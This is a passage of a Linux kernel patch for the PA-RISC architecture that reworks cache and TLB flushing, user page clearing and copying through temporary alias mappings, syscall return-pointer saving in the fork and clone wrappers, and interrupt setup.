 				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? (char *)mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
 			old_addr = addr;
 		}
@@ -330,17 +332,6 @@ EXPORT_SYMBOL(flush_kernel_dcache_page_asm);
 EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);
 
-void clear_user_page_asm(void *page, unsigned long vaddr)
-{
-	unsigned long flags;
-	/* This function is implemented in assembly in pacache.S */
-	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
-
-	purge_tlb_start(flags);
-	__clear_user_page_asm(page, vaddr);
-	purge_tlb_end(flags);
-}
-
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
 int parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
 
@@ -374,20 +365,9 @@ void __init parisc_setup_cache_timing(void)
 	printk(KERN_INFO "Setting cache flush threshold to %x (%d CPUs online)\n", parisc_cache_flush_threshold, num_online_cpus());
 }
 
-extern void purge_kernel_dcache_page(unsigned long);
-extern void clear_user_page_asm(void *page, unsigned long vaddr);
-
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
-{
-	unsigned long flags;
-
-	purge_kernel_dcache_page((unsigned long)page);
-	purge_tlb_start(flags);
-	pdtlb_kernel(page);
-	purge_tlb_end(flags);
-	clear_user_page_asm(page, vaddr);
-}
-EXPORT_SYMBOL(clear_user_page);
+extern void purge_kernel_dcache_page_asm(unsigned long);
+extern void clear_user_page_asm(void *, unsigned long);
+extern void copy_user_page_asm(void *, void *, unsigned long);
 
 void flush_kernel_dcache_page_addr(void *addr)
 {
@@ -400,11 +380,26 @@ void flush_kernel_dcache_page_addr(void *addr)
 }
 EXPORT_SYMBOL(flush_kernel_dcache_page_addr);
 
+void clear_user_page(void *vto, unsigned long vaddr, struct page *page)
+{
+	clear_page_asm(vto);
+	if (!parisc_requires_coherency())
+		flush_kernel_dcache_page_asm(vto);
+}
+EXPORT_SYMBOL(clear_user_page);
+
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
-		    struct page *pg)
+	struct page *pg)
 {
-	/* no coherency needed (all in kmap/kunmap) */
-	copy_user_page_asm(vto, vfrom);
+	/* Copy using kernel mapping.  No coherency is needed
+	   (all in kmap/kunmap) on machines that don't support
+	   non-equivalent aliasing.  However, the `from' page
+	   needs to be flushed before it can be accessed through
+	   the kernel mapping. */
+	preempt_disable();
+	flush_dcache_page_asm(__pa(vfrom), vaddr);
+	preempt_enable();
+	copy_page_asm(vto, vfrom);
 	if (!parisc_requires_coherency())
 		flush_kernel_dcache_page_asm(vto);
 }
@@ -420,6 +415,25 @@ void kunmap_parisc(void *addr)
 EXPORT_SYMBOL(kunmap_parisc);
 #endif
 
+void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
+{
+	unsigned long flags, sid;
+
+	/* Note: purge_tlb_entries can be called at startup with
+	   no context.  */
+
+	/* Disable preemption while we play with %sr1.  */
+	preempt_disable();
+	sid = mfsp(1);
+	mtsp(mm->context,1);
+	purge_tlb_start(flags);
+	pdtlb(addr);
+	pitlb(addr);
+	purge_tlb_end(flags);
+	mtsp(sid,1);
+	preempt_enable();
+}
+
 void __flush_tlb_range(unsigned long sid, unsigned long start,
 		       unsigned long end)
 {
@@ -459,8 +473,65 @@ void flush_cache_all(void)
 	on_each_cpu(cacheflush_h_tmp_function, NULL, 1);
 }
 
+static inline unsigned long mm_total_size(struct mm_struct *mm)
+{
+	struct vm_area_struct *vma;
+	unsigned long usize = 0;
+
+	for (vma = mm->mmap; vma; vma = vma->vm_next)
+		usize += vma->vm_end - vma->vm_start;
+	return usize;
+}
+
+static inline pte_t *get_ptep(pgd_t *pgd, unsigned long addr)
+{
+	pte_t *ptep = NULL;
+
+        if (!pgd_none(*pgd)) {
+                pud_t *pud = pud_offset(pgd, addr);
+                if (!pud_none(*pud)) {
+                        pmd_t *pmd = pmd_offset(pud, addr);
+                        if (!pmd_none(*pmd)) {
+                                ptep = pte_offset_map(pmd, addr);
+                        }
+                }
+        }
+	return ptep;
+}
+
 void flush_cache_mm(struct mm_struct *mm)
 {
+	/* Flushing the whole cache on each cpu takes forever on
+	   rp3440, etc.  So, avoid it if the mm isn't too big.
+	   Note: This approach is faster than a range flush when the
+	   context is current, and it works even when non current.  */
+	if (mm_total_size(mm) < parisc_cache_flush_threshold) {
+		struct vm_area_struct *vma;
+
+		if (mm->context == mfsp(3)) {
+			for (vma = mm->mmap; vma; vma = vma->vm_next) {
+				flush_user_dcache_range_asm(vma->vm_start, vma->vm_end);
+				if(vma->vm_flags & VM_EXEC)
+					flush_user_icache_range_asm(vma->vm_start, vma->vm_end);
+			}
+		} else {
+			pgd_t *pgd = mm->pgd;
+
+			for (vma = mm->mmap; vma; vma = vma->vm_next) {
+				unsigned long addr;
+
+				for (addr = vma->vm_start; addr < vma->vm_end; addr += PAGE_SIZE) {
+					pte_t *ptep = get_ptep(pgd, addr);
+					if (ptep != NULL) {
+						pte_t pte = *ptep;
+						__flush_cache_page(vma, addr, page_to_phys(pte_page(pte)));
+					}
+				}
+			}
+		}
+		return;
+	}
+
 #ifdef CONFIG_SMP
 	flush_cache_all();
 #else
@@ -486,20 +557,34 @@ flush_user_icache_range(unsigned long start, unsigned long end)
 		flush_instruction_cache();
 }
 
-
 void flush_cache_range(struct vm_area_struct *vma,
 		unsigned long start, unsigned long end)
 {
-	int sr3;
-
 	BUG_ON(!vma->vm_mm->context);
 
-	sr3 = mfsp(3);
-	if (vma->vm_mm->context == sr3) {
-		flush_user_dcache_range(start,end);
-		flush_user_icache_range(start,end);
+	if ((end - start) < parisc_cache_flush_threshold) {
+		if (vma->vm_mm->context == mfsp(3)) {
+			flush_user_dcache_range_asm(start,end);
+			if(vma->vm_flags & VM_EXEC)
+				flush_user_icache_range_asm(start,end);
+		} else {
+			unsigned long addr;
+			pgd_t *pgd = vma->vm_mm->pgd;
+
+			for (addr = start & PAGE_MASK; addr < end; addr += PAGE_SIZE) {
+				pte_t *ptep = get_ptep(pgd, addr);
+				if (ptep != NULL) {
+					pte_t pte = *ptep;
+					flush_cache_page(vma, addr, pte_pfn(pte));
+				}
+			}
+		}
 	} else {
+#ifdef CONFIG_SMP
 		flush_cache_all();
+#else
+		flush_cache_all_local();
+#endif
 	}
 }
 
@@ -512,3 +597,67 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 	__flush_cache_page(vma, vmaddr, page_to_phys(pfn_to_page(pfn)));
 
 }
+
+#ifdef CONFIG_PARISC_TMPALIAS
+
+void clear_user_highpage(struct page *page, unsigned long vaddr)
+{
+	void *vto;
+	unsigned long flags;
+
+	/* Clear using TMPALIAS region.  The page doesn't need to
+	   be flushed but the kernel mapping needs to be purged.  */
+
+	vto = kmap_atomic(page, KM_USER0);
+
+	/* The PA-RISC 2.0 Architecture book states on page F-6:
+	   "Before a write-capable translation is enabled, *all*
+	   non-equivalently-aliased translations must be removed
+	   from the page table and purged from the TLB.  (Note
+	   that the caches are not required to be flushed at this
+	   time.)  Before any non-equivalent aliased translation
+	   is re-enabled, the virtual address range for the writeable
+	   page (the entire page) must be flushed from the cache,
+	   and the write-capable translation removed from the page
+	   table and purged from the TLB."  */
+
+	purge_kernel_dcache_page_asm((unsigned long)vto);
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	purge_tlb_end(flags);
+	preempt_disable();
+	clear_user_page_asm(vto, vaddr);
+	preempt_enable();
+
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
+}
+
+void copy_user_highpage(struct page *to, struct page *from,
+	unsigned long vaddr, struct vm_area_struct *vma)
+{
+	void *vfrom, *vto;
+	unsigned long flags;
+
+	/* Copy using TMPALIAS region.  This has the advantage
+	   that the `from' page doesn't need to be flushed.  However,
+	   the `to' page must be flushed in copy_user_page_asm since
+	   it can be used to bring in executable code.  */
+
+	vfrom = kmap_atomic(from, KM_USER0);
+	vto = kmap_atomic(to, KM_USER1);
+
+	purge_kernel_dcache_page_asm((unsigned long)vto);
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	pdtlb_kernel(vfrom);
+	purge_tlb_end(flags);
+	preempt_disable();
+	copy_user_page_asm(vto, vfrom, vaddr);
+	flush_dcache_page_asm(__pa(vto), vaddr);
+	preempt_enable();
+
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER1); */
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
+}
+
+#endif /* CONFIG_PARISC_TMPALIAS */
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 18670a0..fcef82d 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -483,7 +483,7 @@
 	 * B <-> _PAGE_DMB (memory break)
 	 *
 	 * Then incredible subtlety: The access rights are
-	 * _PAGE_GATEWAY _PAGE_EXEC _PAGE_READ
+	 * _PAGE_GATEWAY, _PAGE_EXEC and _PAGE_WRITE
 	 * See 3-14 of the parisc 2.0 manual
 	 *
 	 * Finally, _PAGE_READ goes in the top bit of PL1 (so we
@@ -493,7 +493,7 @@
 
 	/* PAGE_USER indicates the page can be read with user privileges,
 	 * so deposit X1|11 to PL1|PL2 (remember the upper bit of PL1
-	 * contains _PAGE_READ */
+	 * contains _PAGE_READ) */
 	extrd,u,*=      \pte,_PAGE_USER_BIT+32,1,%r0
 	depdi		7,11,3,\prot
 	/* If we're a gateway page, drop PL2 back to zero for promotion
@@ -1785,9 +1785,9 @@ ENTRY(sys_fork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* These are call-clobbered registers and therefore
-	   also syscall-clobbered (we hope). */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	LDREG	PT_GR30(%r1),%r25
@@ -1817,7 +1817,7 @@ ENTRY(child_return)
 	nop
 
 	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE-FRAME_SIZE(%r30), %r1
-	LDREG	TASK_PT_GR19(%r1),%r2
+	LDREG	TASK_PT_SYSCALL_RP(%r1),%r2
 	b	wrapper_exit
 	copy	%r0,%r28
 ENDPROC(child_return)
@@ -1836,8 +1836,9 @@ ENTRY(sys_clone_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* WARNING - Clobbers r19 and r21, userspace must save these! */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 	BL	sys_clone,%r2
 	copy	%r1,%r24
@@ -1860,7 +1861,7 @@ ENTRY(sys_vfork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
 	STREG	%r30,PT_GR21(%r1)
 
 	BL	sys_vfork,%r2
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index c0b1aff..8094d3e 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -379,14 +379,14 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 static struct irqaction timer_action = {
 	.handler = timer_interrupt,
 	.name = "timer",
-	.flags = IRQF_DISABLED | IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
+	.flags = IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
 };
 
 #ifdef CONFIG_SMP
 static struct irqaction ipi_action = {
 	.handler = ipi_interrupt,
 	.name = "IPI",
-	.flags = IRQF_DISABLED | IRQF_PERCPU,
+	.flags = IRQF_PERCPU,
 };
 #endif
 
@@ -410,11 +410,13 @@ void __init init_IRQ(void)
 {
 	local_irq_disable();	/* PARANOID - should already be disabled */
 	mtctl(~0UL, 23);	/* EIRR : clear all pending external intr */
-	claim_cpu_irqs();
 #ifdef CONFIG_SMP
-	if (!cpu_eiem)
+	if (!cpu_eiem) {
+		claim_cpu_irqs();
 		cpu_eiem = EIEM_MASK(IPI_IRQ) | EIEM_MASK(TIMER_IRQ);
+	}
 #else
+	claim_cpu_irqs();
 	cpu_eiem = EIEM_MASK(TIMER_IRQ);
 #endif
         set_eiem(cpu_eiem);	/* EIEM : enable all external intr */
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 5d7218a..ed401dd 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -199,7 +199,6 @@ ENTRY(flush_instruction_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
 	load32		cache_info, %r1
 
 	/* Flush Instruction Cache */
@@ -208,20 +207,46 @@ ENTRY(flush_instruction_cache_local)
 	LDREG		ICACHE_STRIDE(%r1), %arg1
 	LDREG		ICACHE_COUNT(%r1), %arg2
 	LDREG		ICACHE_LOOP(%r1), %arg3
-	rsm             PSW_SM_I, %r22		/* No mmgt ops during loop*/
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
 	addib,COND(=)		-1, %arg3, fioneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fisync	/* If loop < 0, do sync */
 
 fimanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fimanyloop	/* Adjusted inner loop decr */
-	fice            %r0(%sr1, %arg0)
-	fice,m		%arg1(%sr1, %arg0)	/* Last fice and addr adjust */
+	fice            %r0(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)	/* Last fice and addr adjust */
 	movb,tr		%arg3, %r31, fimanyloop	/* Re-init inner loop count */
 	addib,COND(<=),n	-1, %arg2, fisync	/* Outer loop decr */
 
 fioneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fioneloop	/* Outer loop count decr */
-	fice,m		%arg1(%sr1, %arg0)	/* Fice for one loop */
+	/* Some implementations may flush with a single fice instruction */
+	cmpib,COND(>>=),n	15, %arg2, fioneloop2
+
+fioneloop1:
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	addib,COND(>)	-16, %arg2, fioneloop1
+	fice,m		%arg1(%sr4, %arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fisync	/* Predict branch taken */
+
+fioneloop2:
+	addib,COND(>)	-1, %arg2, fioneloop2	/* Outer loop count decr */
+	fice,m		%arg1(%sr4, %arg0)	/* Fice for one loop */
 
 fisync:
 	sync
@@ -240,8 +265,7 @@ ENTRY(flush_data_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
-	load32 		cache_info, %r1
+	load32		cache_info, %r1
 
 	/* Flush Data Cache */
 
@@ -249,20 +273,46 @@ ENTRY(flush_data_cache_local)
 	LDREG		DCACHE_STRIDE(%r1), %arg1
 	LDREG		DCACHE_COUNT(%r1), %arg2
 	LDREG		DCACHE_LOOP(%r1), %arg3
-	rsm		PSW_SM_I, %r22
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
 	addib,COND(=)		-1, %arg3, fdoneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fdsync	/* If loop < 0, do sync */
 
 fdmanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fdmanyloop	/* Adjusted inner loop decr */
-	fdce		%r0(%sr1, %arg0)
-	fdce,m		%arg1(%sr1, %arg0)	/* Last fdce and addr adjust */
+	fdce		%r0(%arg0)
+	fdce,m		%arg1(%arg0)	/* Last fdce and addr adjust */
 	movb,tr		%arg3, %r31, fdmanyloop	/* Re-init inner loop count */
 	addib,COND(<=),n	-1, %arg2, fdsync	/* Outer loop decr */
 
 fdoneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fdoneloop	/* Outer loop count decr */
-	fdce,m		%arg1(%sr1, %arg0)	/* Fdce for one loop */
+	/* Some implementations may flush with a single fdce instruction */
+	cmpib,COND(>>=),n	15, %arg2, fdoneloop2
+
+fdoneloop1:
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	addib,COND(>)	-16, %arg2, fdoneloop1
+	fdce,m		%arg1(%arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fdsync	/* Predict branch taken */
+
+fdoneloop2:
+	addib,COND(>)	-1, %arg2, fdoneloop2	/* Outer loop count decr */
+	fdce,m		%arg1(%arg0)	/* Fdce for one loop */
 
 fdsync:
 	syncdma
@@ -277,7 +327,104 @@ ENDPROC(flush_data_cache_local)
 
 	.align	16
 
-ENTRY(copy_user_page_asm)
+/* Macros to serialize TLB purge operations on SMP.  */
+
+	.macro	tlb_lock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldil		L%pa_tlb_lock,%r1
+	ldo		R%pa_tlb_lock(%r1),\la
+	rsm		PSW_SM_I,\flags
+1:	LDCW		0(\la),\tmp
+	cmpib,<>,n	0,\tmp,3f
+2:	ldw		0(\la),\tmp
+	cmpb,<>		%r0,\tmp,1b
+	nop
+	b,n		2b
+3:
+#endif
+	.endm
+
+	.macro	tlb_unlock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldi		1,\tmp
+	stw		\tmp,0(\la)
+	mtsm		\flags
+#endif
+	.endm
+
+/* Clear page using kernel mapping.  */
+
+ENTRY(clear_page_asm)
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+#ifdef CONFIG_64BIT
+
+	/* Unroll the loop.  */
+	ldi		(PAGE_SIZE / 128), %r1
+
+1:
+	std		%r0, 0(%r26)
+	std		%r0, 8(%r26)
+	std		%r0, 16(%r26)
+	std		%r0, 24(%r26)
+	std		%r0, 32(%r26)
+	std		%r0, 40(%r26)
+	std		%r0, 48(%r26)
+	std		%r0, 56(%r26)
+	std		%r0, 64(%r26)
+	std		%r0, 72(%r26)
+	std		%r0, 80(%r26)
+	std		%r0, 88(%r26)
+	std		%r0, 96(%r26)
+	std		%r0, 104(%r26)
+	std		%r0, 112(%r26)
+	std		%r0, 120(%r26)
+
+	/* Note reverse branch hint for addib is taken.  */
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		128(%r26), %r26
+
+#else
+
+	/*
+	 * Note that until (if) we start saving the full 64-bit register
+	 * values on interrupt, we can't use std on a 32 bit kernel.
+	 */
+	ldi		(PAGE_SIZE / 64), %r1
+
+1:
+	stw		%r0, 0(%r26)
+	stw		%r0, 4(%r26)
+	stw		%r0, 8(%r26)
+	stw		%r0, 12(%r26)
+	stw		%r0, 16(%r26)
+	stw		%r0, 20(%r26)
+	stw		%r0, 24(%r26)
+	stw		%r0, 28(%r26)
+	stw		%r0, 32(%r26)
+	stw		%r0, 36(%r26)
+	stw		%r0, 40(%r26)
+	stw		%r0, 44(%r26)
+	stw		%r0, 48(%r26)
+	stw		%r0, 52(%r26)
+	stw		%r0, 56(%r26)
+	stw		%r0, 60(%r26)
+
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		64(%r26), %r26
+#endif
+	bv		%r0(%r2)
+	nop
+	.exit
+
+	.procend
+ENDPROC(clear_page_asm)
+
+/* Copy page using kernel mapping.  */
+
+ENTRY(copy_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -285,18 +432,14 @@ ENTRY(copy_user_page_asm)
 #ifdef CONFIG_64BIT
 	/* PA8x00 CPUs can consume 2 loads or 1 store per cycle.
 	 * Unroll the loop by hand and arrange insn appropriately.
-	 * GCC probably can do this just as well.
+	 * Prefetch doesn't improve performance on rp3440.
+	 * GCC probably can do this just as well...
 	 */
 
-	ldd		0(%r25), %r19
 	ldi		(PAGE_SIZE / 128), %r1
 
-	ldw		64(%r25), %r0		/* prefetch 1 cacheline ahead */
-	ldw		128(%r25), %r0		/* prefetch 2 */
-
-1:	ldd		8(%r25), %r20
-	ldw		192(%r25), %r0		/* prefetch 3 */
-	ldw		256(%r25), %r0		/* prefetch 4 */
+1:	ldd		0(%r25), %r19
+	ldd		8(%r25), %r20
 
 	ldd		16(%r25), %r21
 	ldd		24(%r25), %r22
@@ -330,20 +473,16 @@ ENTRY(copy_user_page_asm)
 
 	ldd		112(%r25), %r21
 	ldd		120(%r25), %r22
+	ldo		128(%r25), %r25
 	std		%r19, 96(%r26)
 	std		%r20, 104(%r26)
 
-	ldo		128(%r25), %r25
 	std		%r21, 112(%r26)
 	std		%r22, 120(%r26)
-	ldo		128(%r26), %r26
 
-	/* conditional branches nullify on forward taken branch, and on
-	 * non-taken backward branch. Note that .+4 is a backwards branch.
-	 * The ldd should only get executed if the branch is taken.
-	 */
-	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
-	ldd		0(%r25), %r19		/* start next loads */
+	/* Note reverse branch hint for addib is taken.  */
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		128(%r26), %r26
 
 #else
 
@@ -399,7 +538,7 @@ ENTRY(copy_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(copy_user_page_asm)
+ENDPROC(copy_page_asm)
 
 /*
  * NOTE: Code in clear_user_page has a hard coded dependency on the
@@ -422,8 +561,6 @@ ENDPROC(copy_user_page_asm)
  *          %r23 physical page (shifted for tlb insert) of "from" translation
  */
 
-#if 0
-
 	/*
 	 * We can't do this since copy_user_page is used to bring in
 	 * file data that might have instructions. Since the data would
@@ -435,6 +572,7 @@ ENDPROC(copy_user_page_asm)
 	 * use it if more information is passed into copy_user_page().
 	 * Have to do some measurements to see if it is worthwhile to
 	 * lobby for such a change.
+	 *
 	 */
 
 ENTRY(copy_user_page_asm)
@@ -442,16 +580,21 @@ ENTRY(copy_user_page_asm)
 	.callinfo NO_CALLS
 	.entry
 
+	/* Convert virtual `to' and `from' addresses to physical addresses.
+	   Move `from' physical address to non shadowed register.  */
 	ldil		L%(__PAGE_OFFSET), %r1
 	sub		%r26, %r1, %r26
-	sub		%r25, %r1, %r23		/* move physical addr into non shadowed reg */
+	sub		%r25, %r1, %r23
 
 	ldil		L%(TMPALIAS_MAP_START), %r28
 	/* FIXME for different page sizes != 4k */
 #ifdef CONFIG_64BIT
-	extrd,u		%r26,56,32, %r26		/* convert phys addr to tlb insert format */
-	extrd,u		%r23,56,32, %r23		/* convert phys addr to tlb insert format */
-	depd		%r24,63,22, %r28		/* Form aliased virtual address 'to' */
+#if (TMPALIAS_MAP_START >= 0x80000000)
+	depdi		0, 31,32, %r28		/* clear any sign extension */
+#endif
+	extrd,u		%r26,56,32, %r26	/* convert phys addr to tlb insert format */
+	extrd,u		%r23,56,32, %r23	/* convert phys addr to tlb insert format */
+	depd		%r24,63,22, %r28	/* Form aliased virtual address 'to' */
 	depdi		0, 63,12, %r28		/* Clear any offset bits */
 	copy		%r28, %r29
 	depdi		1, 41,1, %r29		/* Form aliased virtual address 'from' */
@@ -466,10 +609,76 @@ ENTRY(copy_user_page_asm)
 
 	/* Purge any old translations */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+	pdtlb,l		0(%r29)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
 	pdtlb		0(%r29)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
-	ldi		64, %r1
+#ifdef CONFIG_64BIT
+	/* PA8x00 CPUs can consume 2 loads or 1 store per cycle.
+	 * Unroll the loop by hand and arrange insn appropriately.
+	 * GCC probably can do this just as well.
+	 */
+
+	ldd		0(%r29), %r19
+	ldi		(PAGE_SIZE / 128), %r1
+
+1:	ldd		8(%r29), %r20
+
+	ldd		16(%r29), %r21
+	ldd		24(%r29), %r22
+	std		%r19, 0(%r28)
+	std		%r20, 8(%r28)
+
+	ldd		32(%r29), %r19
+	ldd		40(%r29), %r20
+	std		%r21, 16(%r28)
+	std		%r22, 24(%r28)
+
+	ldd		48(%r29), %r21
+	ldd		56(%r29), %r22
+	std		%r19, 32(%r28)
+	std		%r20, 40(%r28)
+
+	ldd		64(%r29), %r19
+	ldd		72(%r29), %r20
+	std		%r21, 48(%r28)
+	std		%r22, 56(%r28)
+
+	ldd		80(%r29), %r21
+	ldd		88(%r29), %r22
+	std		%r19, 64(%r28)
+	std		%r20, 72(%r28)
+
+	ldd		 96(%r29), %r19
+	ldd		104(%r29), %r20
+	std		%r21, 80(%r28)
+	std		%r22, 88(%r28)
+
+	ldd		112(%r29), %r21
+	ldd		120(%r29), %r22
+	std		%r19, 96(%r28)
+	std		%r20, 104(%r28)
+
+	ldo		128(%r29), %r29
+	std		%r21, 112(%r28)
+	std		%r22, 120(%r28)
+	ldo		128(%r28), %r28
+
+	/* conditional branches nullify on forward taken branch, and on
+	 * non-taken backward branch. Note that .+4 is a backwards branch.
+	 * The ldd should only get executed if the branch is taken.
+	 */
+	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
+	ldd		0(%r29), %r19		/* start next loads */
+
+#else
+	ldi		(PAGE_SIZE / 64), %r1
 
 	/*
 	 * This loop is optimized for PCXL/PCXL2 ldw/ldw and stw/stw
@@ -480,9 +689,7 @@ ENTRY(copy_user_page_asm)
 	 * use ldd/std on a 32 bit kernel.
 	 */
 
-
-1:
-	ldw		0(%r29), %r19
+1:	ldw		0(%r29), %r19
 	ldw		4(%r29), %r20
 	ldw		8(%r29), %r21
 	ldw		12(%r29), %r22
@@ -515,8 +722,10 @@ ENTRY(copy_user_page_asm)
 	stw		%r21, 56(%r28)
 	stw		%r22, 60(%r28)
 	ldo		64(%r28), %r28
+
 	addib,COND(>)		-1, %r1,1b
 	ldo		64(%r29), %r29
+#endif
 
 	bv		%r0(%r2)
 	nop
@@ -524,9 +733,8 @@ ENTRY(copy_user_page_asm)
 
 	.procend
 ENDPROC(copy_user_page_asm)
-#endif
 
-ENTRY(__clear_user_page_asm)
+ENTRY(clear_user_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -550,7 +758,13 @@ ENTRY(__clear_user_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 #ifdef CONFIG_64BIT
 	ldi		(PAGE_SIZE / 128), %r1
@@ -580,8 +794,7 @@ ENTRY(__clear_user_page_asm)
 #else	/* ! CONFIG_64BIT */
 	ldi		(PAGE_SIZE / 64), %r1
 
-1:
-	stw		%r0, 0(%r28)
+1:	stw		%r0, 0(%r28)
 	stw		%r0, 4(%r28)
 	stw		%r0, 8(%r28)
 	stw		%r0, 12(%r28)
@@ -606,7 +819,7 @@ ENTRY(__clear_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(__clear_user_page_asm)
+ENDPROC(clear_user_page_asm)
 
 ENTRY(flush_dcache_page_asm)
 	.proc
@@ -630,7 +843,13 @@ ENTRY(flush_dcache_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 	ldil		L%dcache_stride, %r1
 	ldw		R%dcache_stride(%r1), %r1
@@ -663,8 +882,17 @@ ENTRY(flush_dcache_page_asm)
 	fdc,m		%r1(%r28)
 
 	sync
+
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r25)
+#else
+	tlb_lock	%r20,%r21,%r22
+	pdtlb		0(%r25)
+	tlb_unlock	%r20,%r21,%r22
+#endif
+
 	bv		%r0(%r2)
-	pdtlb		(%r25)
+	nop
 	.exit
 
 	.procend
@@ -692,7 +920,13 @@ ENTRY(flush_icache_page_asm)
 
 	/* Purge any old translation */
 
-	pitlb		(%sr4,%r28)
+#ifdef CONFIG_PA20
+	pitlb,l         %r0(%sr4,%r28)
+#else
+	tlb_lock        %r20,%r21,%r22
+	pitlb           (%sr4,%r28)
+	tlb_unlock      %r20,%r21,%r22
+#endif
 
 	ldil		L%icache_stride, %r1
 	ldw		R%icache_stride(%r1), %r1
@@ -727,8 +961,17 @@ ENTRY(flush_icache_page_asm)
 	fic,m		%r1(%sr4,%r28)
 
 	sync
+
+#ifdef CONFIG_PA20
+	pitlb,l         %r0(%sr4,%r25)
+#else
+	tlb_lock        %r20,%r21,%r22
+	pitlb           (%sr4,%r25)
